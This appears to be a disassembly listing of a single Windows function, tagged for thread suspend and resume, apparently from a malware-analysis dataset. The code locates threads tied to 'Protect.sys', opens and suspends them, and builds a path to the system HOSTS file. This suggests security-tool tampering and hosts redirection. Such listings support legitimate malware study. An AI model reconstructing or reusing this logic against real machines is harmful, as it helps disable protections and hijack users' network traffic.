Function at 0x401999
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
nop
nop
nop
nop
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
nop
nop
nop
nop
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
nop
nop
nop
nop
mov dword [ebp - 0xc], eax
mov eax, str.SOFTWARETqdigitalSoulPath
push eax
mov ebx, dword [0x49d714]
test ebx, ebx
je 0x401a49
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [0x49d714], eax
push 0x7f89
call fcn.00401faf
mov dword [0x49d720], eax
mov ebx, dword [0x49d70c]
mov dword [ebp - 0x3c], ebx
push 0
mov ebx, 0x104
call fcn.00446060
add esp, 4
mov dword [ebp - 0x40], eax
push 0x4722d6
push dword [ebp - 0x40]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x401aa4
push ebx
call fcn.004430f9
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x401aba
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov ebx, dword [0x49d70c]
add ebx, 4
mov dword [ebp - 0x3c], ebx
mov ebx, dword [0x49d70c]
mov dword [ebp - 0x40], ebx
push str.Data_
mov ebx, dword [ebp - 0x40]
push dword [ebx]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x401b05
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 1
push 0xf
call fcn.00401fd5
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x401b2e
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [0x49d70c]
add ebx, 0x10
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401b5a
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.004430f3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x401b6d
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov ebx, dword [0x49d70c]
add ebx, 8
mov dword [ebp - 0x3c], ebx
mov ebx, dword [0x49d70c]
add ebx, 4
mov dword [ebp - 0x40], ebx
push str..txt
push dword [ebp - 0x10]
mov ebx, dword [ebp - 0x40]
push dword [ebx]
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x401bbe
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov ebx, dword [0x49d70c]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
mov ebx, dword [0x49d70c]
mov dword [ebp - 0x40], ebx
push str..DAT
push dword [ebp - 0x10]
mov ebx, dword [ebp - 0x40]
push dword [ebx]
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x401c0c
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x49d724
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov eax, str.57B16C3F_8EB1_4487_B147_CC746A0B8877
push eax
mov ebx, dword [0x49d728]
test ebx, ebx
je 0x401c3a
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [0x49d728], eax
mov eax, 0x472366
push eax
mov ebx, dword [0x49d72c]
test ebx, ebx
je 0x401c59
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [0x49d72c], eax
mov eax, str.54ACN6mhHRlX2r8R7RIyxvZIIc2UtgUeLW14mYyurEGvgXFK1jIkUrg5jFK6XVdIoot7LII8qqew54h6MNq515yYM
push eax
mov ebx, dword [0x49d730]
test ebx, ebx
je 0x401c78
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [0x49d730], eax
call fcn.004450a0
nop
nop
nop
nop
nop
and eax, 1
xor eax, 1
test eax, eax
je 0x401d8f
push 0x400
call fcn.004432b0
nop
nop
nop
nop
nop
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401cb7
jmp 0x401f6b
push dword [ebp - 0x14]
push str.Protect.sys
call fcn.00443570
nop
nop
nop
nop
nop
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x18], 0
jle 0x401d82
mov eax, dword [ebp - 0x18]
xor ecx, ecx
inc ecx
push ecx
push eax
cmp ecx, eax
jg 0x401d7f
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call fcn.00402076
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jle 0x401d74
push dword [ebp - 0x20]
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
nop
nop
nop
nop
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jle 0x401d74
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
nop
nop
nop
nop
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jl 0x401d67
mov eax, dword [ebp - 0x28]
xor ecx, ecx
inc ecx
push ecx
push eax
cmp ecx, eax
jg 0x401d64
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
nop
nop
nop
nop
pop eax
pop ecx
jmp 0x401d48
add esp, 8
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
add dword [ebp - 0x1c], 4
pop eax
pop ecx
jmp 0x401ce2
add esp, 8
push dword [ebp - 0x14]
call fcn.004432f0
nop
nop
nop
nop
nop
mov dword [ebp - 0x1c], 0
mov eax, 0x47275c
test eax, eax
je 0x401db2
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004430f3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401dc3
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
push 0xa
call fcn.004020a1
mov dword [ebp - 0x3c], eax
push str.driversetcHOSTS
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x401dfc
push ebx
call fcn.004430f9
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401e10
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
push 0xa
call fcn.004020a1
mov dword [ebp - 0x3c], eax
push str.driversetc_
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x401e49
push ebx
call fcn.004430f9
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401e5d
push ebx
call fcn.004430f9
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
call fcn.00402387
and eax, 1
xor eax, 1
test eax, eax
je 0x401e81
lea eax, [ebp - 0x34]
push eax
call fcn.004023aa
push 0x80000301
push 0
push 0x20
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x401ea0
mov eax, 0x4722d5
push eax
push 2
mov ebx, 0x260
call fcn.00446100
add esp, 0x1c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xa
jle 0x401ec5
jmp 0x401f6b
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x401ef0
mov eax, 0x4722d5
push eax
push 3
mov ebx, 0x270
call fcn.00446120
add esp, 0x28
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x401f61
push 0x80000301
push 0
push dword [ebp - 0x38]
push 1
mov ebx, 0x28c
call fcn.00446200
add esp, 0x10
push htons
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x401f3f
mov eax, 0x472784
push eax
push 0x80000301
push 0
push dword [ebp - 0x38]
push 2
mov ebx, 0x298
call fcn.00446260
add esp, 0x1c
jmp 0x401f6b
cmp dword [ebp - 0x38], 0
je 0x401eb3
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x401f7b
push ebx
call fcn.004430f9
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401f8b
push ebx
call fcn.004430f9
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401f9b
push ebx
call fcn.004430f9
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401fab
push ebx
call fcn.004430f9
add esp, 4
mov esp, ebp
pop ebp
ret